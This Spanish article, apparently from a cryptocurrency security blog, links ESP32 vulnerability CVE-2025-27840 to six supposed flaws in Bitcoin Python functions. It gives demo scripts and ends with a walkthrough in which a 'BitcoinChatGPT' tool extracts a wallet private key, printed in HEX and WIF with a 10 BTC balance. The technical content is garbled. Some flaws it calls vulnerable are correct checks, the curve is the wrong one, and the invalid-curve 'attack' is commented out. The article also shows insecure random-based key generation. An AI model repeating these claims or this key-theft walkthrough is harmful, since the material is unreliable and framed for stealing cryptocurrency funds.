demining/bluetooth-attacks-cve-2025-27840Criptoanálisis de Bitcoin: Vulnerabilidad CVE-2025-27840 en microcontroladores ESP32 pone en riesgo a miles de millones de dispositivos IoT a través de Wi-Fi y Bluetooth
Este artículo analiza cómo un atacante puede introducir una lista oculta de vulnerabilidades a través de actualizaciones de módulos, lo que puede comprometer dispositivos ESP32 y obtener acceso no autorizado a claves privadas, afectando a miles de millones de dispositivos que utilizan este microcontrolador. Uno de los problemas clave es la vulnerabilidad CVE-2025-27840 descubierta en la arquitectura ESP32. Para garantizar la seguridad de la red Bitcoin, identificamos las siguientes vulnerabilidades: la posibilidad de usar claves privadas no válidas debido a la falta de verificación del límite inferior en la función has_invalid_privkey; una vulnerabilidad en la falsificación de firmas de transacciones en la función electrum_sig_hash debido a la incompatibilidad con BIP-137; un problema de PRNG débil en la función de generación de claves random_key, lo que hace predecibles las claves privadas personales para carteras de criptomonedas; falta de verificación de puntos en la curva ECC en la función multiply, lo que puede provocar ataques de curva no válida; una vulnerabilidad en la función ecdsa_raw_sign al restaurar la coordenada Y, lo que podría llevar a la sustitución de la clave pública; y vulnerabilidades relacionadas con APIs hash obsoletas en bin_ripemd160.
A principios de marzo de 2025, Tarlogic Security identificó una vulnerabilidad en el microcontrolador ESP32, ampliamente utilizado para conectar dispositivos a través de WiFi y Bluetooth. Esta vulnerabilidad se registró con el número CVE-2025-27840. Los atacantes pueden acceder no autorizadamente a datos de carteras Bitcoin utilizando el chip ESP32 como punto de ataque criptográfico sobre dispositivos que ejecutan redes de criptomonedas populares como Bitcoin y Ethereum. Este problema afecta a millones de dispositivos IoT que utilizan este microcontrolador. Explotar esta vulnerabilidad permitirá a los atacantes realizar ataques disfrazados de usuarios legítimos e infectar permanentemente dispositivos vulnerables. Esto amenaza la seguridad de los dispositivos IoT basados en el microcontrolador ESP32 y puede llevar al robo de claves privadas de carteras Bitcoin.
ESP32 es un microcontrolador ampliamente utilizado en dispositivos IoT para proporcionar conectividad Wi-Fi y Bluetooth. Los atacantes pueden usar varios métodos para obtener acceso a los datos de claves privadas de carteras Bitcoin a través de ESP32.
Las amenazas de seguridad relacionadas con el microcontrolador ESP32 pueden llevar al robo de claves privadas de carteras Bitcoin. Los principales problemas incluyen la presencia de puertas traseras y vulnerabilidades. Usando dichas vulnerabilidades, pueden manipular la memoria, falsificar direcciones MAC e inyectar código malicioso, lo que crea graves riesgos de seguridad.
Los atacantes pueden atacar dispositivos IoT con un microcontrolador ESP32 utilizando vulnerabilidades en conexiones Bluetooth y Wi-Fi, lo que puede convertirse en una herramienta para atacar otros dispositivos en la red relacionada con Bitcoin, así como robar información confidencial, incluidas las claves privadas de carteras Bitcoin.
Un atacante puede actualizar módulos e introducir una lista de diversas vulnerabilidades en el código, incluyendo:
has_invalid_privkey que puede ser utilizada para obtener la clave privada.electrum_sig_hash permite falsificar firmas de transacciones de Bitcoin.random_key relacionada con un generador de números pseudoaleatorios débil (PRNG no determinista).multiply donde no hay verificación de un punto en la curva ECC.ecdsa_raw_sign y bin_ripemd160.Estas vulnerabilidades pueden ser utilizadas para inyectar actualizaciones falsas en dispositivos ESP32, dando a los atacantes acceso de bajo nivel al sistema. Esto les permitirá eludir los controles de auditoría de código y obtener acceso a claves privadas. Actualmente, miles de millones de dispositivos pueden ser vulnerables debido a características ocultas de un solo componente en su arquitectura, designado como CVE-2025-27840.
has_invalid_privkeyEsta vulnerabilidad se encontró en el código de verificación de claves privadas de Bitcoin, permitiendo el uso de claves no válidas (menores o iguales a 0) debido a la falta de verificación del límite inferior. Esto puede llevar a la pérdida de fondos. Para solucionarlo, se debe agregar una verificación que asegure que la clave privada sea mayor que 0. El código se proporciona con fines de demostración.
Este error permite el uso de claves privadas incorrectas, lo que puede provocar problemas graves, incluida la pérdida de dinero.
Para solucionarlo, debe agregar una verificación para asegurarse de que la clave privada sea mayor que 0.
Imagine que alguien intenta "piratear" la red Bitcoin. Encuentra un punto débil en la verificación de las claves privadas utilizadas para acceder a la criptomoneda.
El problema es que el código solo verifica si la clave privada es demasiado grande. Si la clave es muy grande, se rechaza. Pero el código olvida verificar si la clave es demasiado pequeña (menor o igual a cero).
La sección de código donde ocurre esto:
...
...if privkey >= N: #Checking only the upper boundLower bound is not checked properly
raise Exception("Invalid privkey")
if privkey <= 0: #
return True
...
...
Debido a este error, es posible usar claves privadas no válidas (muy pequeñas). Esta vulnerabilidad se encuentra en la función has_invalid_privkey.
Para que todo esto funcione, necesita instalar la librería ecdsa (necesaria para trabajar con criptografía):
Script de Python secp256k1_privkey_validator.py
!pip install ecdsa
import ecdsa
def has_invalid_privkey(privkey: int) -> bool:
"""
Checks if a private key is invalid, based on the absence of a lower bound check.
Args:
privkey: The private key to check.
Returns:
True if the private key is invalid (<= 0 or >= N), False otherwise.
"""
# Order of the secp256k1 elliptic curve used by Bitcoin
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
if privkey >= N: # Check only the upper bound
raise Exception("Invalid privkey")
if privkey <= 0: # Lower bound check missing
return True
return False
# Example usage
privkey = 0 # Invalid private key
is_invalid = has_invalid_privkey(privkey)
if is_invalid:
print("Invalid private key!")
else:
print("Valid private key.")
Explicación del código:
ecdsa: Aunque no se usa directamente en este ejemplo, en escenarios reales que involucran Bitcoin y ECDSA (Algoritmo de Firma Digital de Curva Elíptica), esta librería puede ser necesaria para realizar operaciones criptográficas.has_invalid_privkey(privkey: int) -> bool:
privkey Recibe una clave privada como entero como entrada.N que representa el orden de la curva elíptica secp256k1 utilizada en Bitcoin.privkey es mayor o igual que N. Si es así, lanza una excepción indicando que la clave privada no es válida.privkey es menor o igual que 0. Si es así, devuelve True, indicando que la clave privada no es válida debido a la falta de verificación del límite inferior.False.privkey = 0, que es una clave privada no válida.Vulnerabilidad:
El código contiene una vulnerabilidad relacionada con una verificación insuficiente de la clave privada. Específicamente, no hay verificación del límite inferior (privkey <= 0). Esto permite el uso de claves privadas no válidas, lo que puede llevar a consecuencias impredecibles, incluida la pérdida de fondos.
Cómo solucionarlo:
Se debe agregar una verificación del límite inferior de la clave privada para asegurar que sea mayor que 0.
electrum_sig_hashLa función electrum_sig_hash en Electrum utiliza un método de hash de mensajes no estándar, lo que la hace vulnerable a ataques de falsificación de firmas debido a su incompatibilidad con BIP-137.
Un atacante dirigido a la red Bitcoin puede descubrir el método de hash de mensajes no estándar utilizado por Electrum a través de la función electrum_sig_hash. Esta función crea un hash de mensaje de una manera que puede llevar a ataques de falsificación de firmas debido a su incompatibilidad con BIP-137. El script de Python proporcionado demuestra cómo un atacante puede generar el hash de mensaje utilizado por Electrum para explotar la vulnerabilidad de incompatibilidad con BIP-137. La función electrum_sig_hash prepara el mensaje prefijándolo y codificando su longitud antes de aplicar doble hash con SHA256.
Un script de Python que demuestra cómo un atacante puede encontrar un hash de mensaje no estándar utilizado por Electrum para realizar ataques de falsificación de firmas debido a la incompatibilidad con BIP-137.
Script de Python bitcoin_sign_hash.py
!pip install ecdsa
import hashlib
def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')
def from_string_to_bytes(s):
return s.encode('utf-8')
def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2
def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)
# Usage example
message = "Example message for signing"
message_hash = electrum_sig_hash(message)
print(f"Electrum message hash: {message_hash.hex()}")
En este script:
num_to_var_int(i): convierte un entero al formato de longitud variable utilizado en Bitcoin.from_string_to_bytes(s): codifica una cadena en bytes usando codificación UTF-8.bin_dbl_sha256(s): realiza un doble hash SHA256 en la entrada.electrum_sig_hash(message): simula la forma no estándar de Electrum de hacer hash de mensajes, que está sujeta a la incompatibilidad con BIP-137.random_key de PRNG débil en la generación de claves (PRNG no determinista)El problema surge cuando Bitcoin utiliza una función random_key que se basa en el módulo random para crear claves. El módulo random no está diseñado para fines criptográficos porque no genera números suficientemente aleatorios, lo que hace que las claves privadas sean predecibles para los atacantes. Esto deja vulnerable a la red Bitcoin.
Un script de Python que hace vulnerable la red Bitcoin al usar random en lugar de secrets o os.urandom, haciendo que las claves privadas sean predecibles para un atacante de Bitcoin:
Script de Python privkey_generate.py
import random
import time
from hashlib import sha256
def random_string(length):
return ''.join(random.choice('0123456789abcdef') for i in range(length))
def random_key():
# Gotta be secure after that java.SecureRandom fiasco...
entropy = random_string(32) \
+ str(random.randrange(2**256)) \
+ str(int(time.time() * 1000000))
return sha256(entropy.encode('utf-8')).hexdigest()
# Example usage: generate a private key
private_key = random_key()
print("Generated Private Key:", private_key)Este script utiliza el módulo random para generar claves, lo que lo hace vulnerable. El uso del módulo random no es adecuado para fines criptográficos porque no genera números suficientemente aleatorios.
Para crear una clave más segura, puedes usar el módulo secrets o os.urandom. Aquí hay un ejemplo de uso del módulo secrets:
import secrets
import hashlib
def secure_random_key():
# Generate a random number with enough entropy
random_bytes = secrets.token_bytes(32) # 32 bytes = 256 bits
# Hash the random bytes to create a private key
private_key = hashlib.sha256(random_bytes).hexdigest()
return private_key
# Example usage: generate a secure private key
secure_private_key = secure_random_key()
print("Generated Secure Private Key:", secure_private_key)En este ejemplo, el módulo secrets se utiliza para generar un número aleatorio con suficiente entropía. Luego, el número aleatorio se hashea para crear una clave privada personal. Este método es mucho más seguro que usar el módulo random.
Una vulnerabilidad en la función ecdsa_raw_sign al restaurar la coordenada Y puede llevar a la sustitución de una clave pública en la red Bitcoin. Existe un alto riesgo de que un atacante pueda explotar la peculiaridad de la restauración de la coordenada Y al trabajar con una curva elíptica. Esta ambigüedad puede llevar a que la clave pública se restaure incorrectamente .
El ejemplo de código, proporcionado usando la librería pycryptodome, demuestra cómo se puede simular esta situación reemplazando la coordenada Y para obtener una clave pública diferente e inválida. Es importante tener en cuenta que el ejemplo de código está simplificado y no es una implementación completa del ataque , sino que solo muestra su principio.
Un atacante puede explotar la ambigüedad de la recuperación de la coordenada Y en la red Bitcoin, lo que puede llevar a errores en la recuperación de la clave pública. Aquí hay un ejemplo de cómo se puede hacer esto usando la operación XOR bit a bit.
Script de Python weak_key_recovery.py
!pip install pycryptodome
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets
# Elliptic curve parameters secp256k1
# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve.
# Therefore, we will use the standard ECC curve.
# For production code, be careful when choosing the curve and its parameters.
def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)
def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant
return k
def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)
# Generate private key object
key = ECC.construct(curve='P-256', d=priv_key_int)
# Calculate point R = kG
# PyCryptodome does not provide direct access to the coordinates of point R
# Therefore, the signature will be calculated in a different way, using DSS
# s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available
return key, z, k # Return the key, hash, and k for further use in signing
def recover_pubkey(msghash, signature, key):
# WARNING: This is a VERY SIMPLIFIED example of public key recovery.
# In real life, ECDSA public key recovery is a complex process.
# This code is intended only to demonstrate the principle.
# PyCryptodome does not have a simple way to recover PublicKey from r and s directly.
# This code does not perform real recovery, but creates a new PublicKey from the private key.
# In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey.
# But this requires a more complex logic to work with the elliptic curve. return key.public_key()def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Message example" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered)
Este script demuestra cómo se puede cambiar la coordenada Y para producir una clave pública inválida.
Tenga en cuenta que esto es solo un ejemplo y un ataque real puede ser mucho más complejo.
Además del script anterior, aquí hay algunos puntos adicionales a considerar:
Las API de hash heredadas en la red Bitcoin, especialmente en ausencia de RIPEMD-160, pueden ser vulnerables. Los atacantes pueden identificar y explotar implementaciones débiles, destacando la importancia de usar librerías criptográficas actualizadas y actualizaciones de seguridad regulares.
Un atacante en la red Bitcoin podría encontrar una vulnerabilidad en la API de hash heredada, especialmente si algunos sistemas carecen de una implementación de RIPEMD-160. El problema está en una función bin_ripemd160 que intenta usar hashlib para hashing, pero si falla, cambia a su propia implementación potencialmente más débil.
El script de Python proporcionado demuestra cómo un atacante puede probar un nodo de Bitcoin para detectar una implementación de API débil. Si hashlib no soporta RIPEMD-160, se utiliza una implementación simplificada, lo que puede llevar a colisiones de hash y otras vulnerabilidades. El script simula el ataque hasheando los datos e imprimiendo una advertencia si se usa una implementación débil.
Los riesgos incluyen la posibilidad de falsificación de transacciones y explotación de vulnerabilidades conocidas en APIs heredadas. Para protegerse, se recomienda usar librerías criptográficas actualizadas y probadas, actualizar regularmente el software de Bitcoin y verificar la salida de las operaciones criptográficas.
Un script de Python en el que un atacante de Bitcoin encuentra una API de hash obsoleta y analiza el riesgo de no implementar RIPEMD-160 en ciertos entornos:
Script de Python ripemd160_vulnerability.py
RIPEMD160 simula una implementación de RIPEMD160. En realidad, debería implementar el algoritmo de hashing RIPEMD160. Con fines de demostración, devuelve un hash ficticio.bin_ripemd160(string):
check_for_weak_api(data):
bin_ripemd160 para obtener el hash de los datos.if __name__ == "__main__":, especifica datos de muestra y llama a check_for_weak_api con esos datos.hashlib para el hash RIPEMD160. Si eso falla (porque hashlib en el entorno particular no admite RIPEMD160), recurre a una implementación personalizada (que en este ejemplo es una versión simplificada).multiply Sin verificación de un punto en la curva ECCBitcoin tiene una vulnerabilidad potencial en su función multiply debido a una validación insuficiente de los puntos en la curva ECC. Esto podría permitir a un atacante realizar ataques de curva inválida, aunque las bibliotecas criptográficas modernas como pycryptodomedificultan dicha explotación. El ataque es posible mediante manipulación de la curva jacobiana , lo que podría llevar a firmas falsificadas y manipulación de la red.
En la red Bitcoin, un atacante puede encontrar una vulnerabilidad en la función multiply que carece de una verificación completa de que un punto esté en una curva elíptica (ECC). En el código, la verificación solo se realiza para puntos no nulos, lo que abre la posibilidad de ataques usando curvas inválidas (invalid curve attacks).
El código de muestra del atacante muestra cómo se puede explotar esta vulnerabilidad. Demuestra una función multiply que carece de una verificación confiable de un punto en una curva, y una función invalid_curve_attack que intenta explotar esta debilidad. El código también utiliza las bibliotecas pycryptodome para operaciones criptográficas.
Es más difícil realizar tales ataques directamente con pycryptodome debido a los mecanismos de seguridad integrados. El código muestra cómo se puede crear una curva “incorrecta” e intentar realizar una multiplicación, pero se enfatiza que esto no es seguro y requiere un profundo conocimiento de la criptografía.
Al explotar una vulnerabilidad en la función
multiply, un atacante puede realizar un ataque de curva inválida para comprometer claves privadas en la red Bitcoin. A continuación se muestra un script de Python de muestra que demuestra este ataque.
Script de Python ecdsa_curve_attack.py
!pip install pycryptodome
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *
class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)
def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature
def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False
def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()
# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve
# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.
#Performing multiplication
result = privkey.d * pubkey.pointQ
return result
# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])
# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)
# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)
Explicación del código:
multiply verifica que un punto esté en la curva ECC solo si no es un punto en el infinito. Esto permite usar puntos que no están en la curva principal, sino en la curva twist.invalid_curve_attack: Esta función toma una clave pública y parámetros de una curva malformada. Crea un punto en la curva malformada y usa la función vulnerable multiply para realizar la multiplicación.Cómo funciona el ataque de subgrupo pequeño:
Q de bajo orden en la curva o en el twist de la curva.Q a la víctima, haciéndolo pasar como su clave pública.nQ, donde n es la clave secreta de la víctima.Q tiene un orden pequeño, hay un número pequeño de valores posibles para nQ . Un atacante puede probar por fuerza bruta todos estos valores y verificar cuál corresponde a los datos cifrados expandiendo n módulo el orden de Q.Recomendaciones:
Decodifica una transacción RawTX vulnerable usando la función de servicio SMALL SUBGROUP ATTACK
El resultado es el valor K de la clave secreta Nonce en formato HEX
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2Para obtener todos los demás valores de la transacción RawTX vulnerable, usaremos el servicio RSZ Signature Decoder.
Valores resultantes para R, S, Z en formato HEX
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8Para obtener el valor X de la clave privada a partir de la fórmula: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) usaremos el software Dockeyhunt Private Key Calculator
Como resultado, obtenemos la clave privada X en formato HEX
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34Iniciemos BitcoinChatGPT
%run BitcoinChatGPTApply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency
Finalmente, el módulo BitcoinChatGPT envía la respuesta al archivo: KEYFOUND.privkey almacenando la clave privada en los dos formatos más utilizados HEX & WIF
https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey
============================= KEYFOUND.privkey =============================
Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
Balance: 10.00000000 BTC
============================= KEYFOUND.privkey =============================Para implementar el código, instalaremos el paquete Bitcoin. Esta biblioteca permite crear carteras, interactuar con la blockchain, crear y firmar transacciones, y trabajar con varios formatos de direcciones y claves privadas de la criptomoneda Bitcoin.
!pip3 install bitcoinEjecutemos el código para verificar la coincidencia de la dirección de Bitcoin:
__________________________________________________
Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received = 10.00000000 Bitcoin
__________________________________________________¡Correcto! La clave privada corresponde a la cartera Bitcoin.
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
En el entorno digital actual, asegurar dispositivos y redes es fundamental. Este artículo analiza una serie de vulnerabilidades encontradas en varios componentes, incluyendo dispositivos ESP32 y software para trabajar con criptomonedas como Bitcoin. Examinamos fallos en el código de verificación de claves privadas, métodos de hashing de transacciones, generación aleatoria de claves, verificación de puntos de curva ECC, recuperación de coordenada Y y API de hashing heredadas. Se presta especial atención a la vulnerabilidad CVE-2025-27840 en microcontroladores ESP32, que permite a atacantes inyectar actualizaciones falsas y obtener acceso de bajo nivel al sistema. Se discuten las posibles implicaciones de estas vulnerabilidades, incluyendo la capacidad de eludir controles de auditoría de código, obtener acceso a claves privadas y realizar ataques a la cadena de suministro. El artículo concluye con recomendaciones para fortalecer la seguridad y prevenir posibles ataques.
Miles de millones de dispositivos ahora podrían ser vulnerables a fallos de diseño ocultos en un solo componente, identificado como CVE-2025-27840. Las vulnerabilidades podrían permitir a los atacantes suplantar direcciones MAC, obtener acceso no autorizado a la memoria del dispositivo y realizar ataques a través de Bluetooth.
has_invalid_privkey: Falta de comprobación del límite inferior para claves privadas de Bitcoin permite el uso de claves inválidas (menores o iguales a 0), lo que puede llevar a pérdida de fondos.electrum_sig_hash: El uso por parte de Electrum de un método de hashing de mensajes no estándar lo hace vulnerable a ataques de falsificación de firma debido a su incompatibilidad con BIP-137.random_key (PRNG débil en generación de claves): El uso del módulo de generación de claves random en la red Bitcoin hace que las claves privadas sean predecibles para los atacantes, ya que este módulo no está destinado a fines criptográficos.multiply (Falta de validación de puntos de curva ECC): La validación insuficiente de puntos en la curva ECC puede permitir a un atacante realizar ataques de curva inválida, lo que puede llevar a firmas falsificadas y manipulación de la red.ecdsa_raw_sign: La restauración incorrecta de la coordenada Y puede llevar a la sustitución de la clave pública en la red Bitcoin.bin_ripemd160: Las API de hashing heredadas, especialmente aquellas que carecen de RIPEMD-160, pueden ser vulnerables a ataques, destacando la importancia de utilizar bibliotecas criptográficas actualizadas y actualizaciones de seguridad periódicas.
random_key y ecdsa_raw_sign mejora la seguridad general de la red Bitcoin y previene posibles ataques a transacciones y firmas.La identificación y el análisis de vulnerabilidades presentados en este artículo destacan la necesidad de monitoreo continuo y mejora de la seguridad de dispositivos y software. Abordar estas vulnerabilidades no solo previene posibles ataques y pérdidas financieras, sino que también ayuda a generar confianza del usuario y cumplir con los estándares de seguridad. La implementación de mecanismos de protección robustos y actualizaciones de seguridad periódicas son clave para garantizar el funcionamiento seguro y confiable de los sistemas digitales. La necesidad de mejorar la seguridad en dispositivos y redes como el ESP32 se vuelve cada vez más urgente.
Este material fue creado para el portal CRYPTO DEEP TECH para garantizar la seguridad de los datos financieros y la criptografía en curvas elípticas secp256k1 contra firmas ECDSA débiles en la criptomoneda BITCOIN. Los creadores del software no se responsabilizan por el uso de los materiales.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/nBeZWm2z5o4
Tutorial en video: https://dzen.ru/video/watch/6784be61b09e46422395c236
Fuente: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks
has_invalid_privkey para verificar privkey.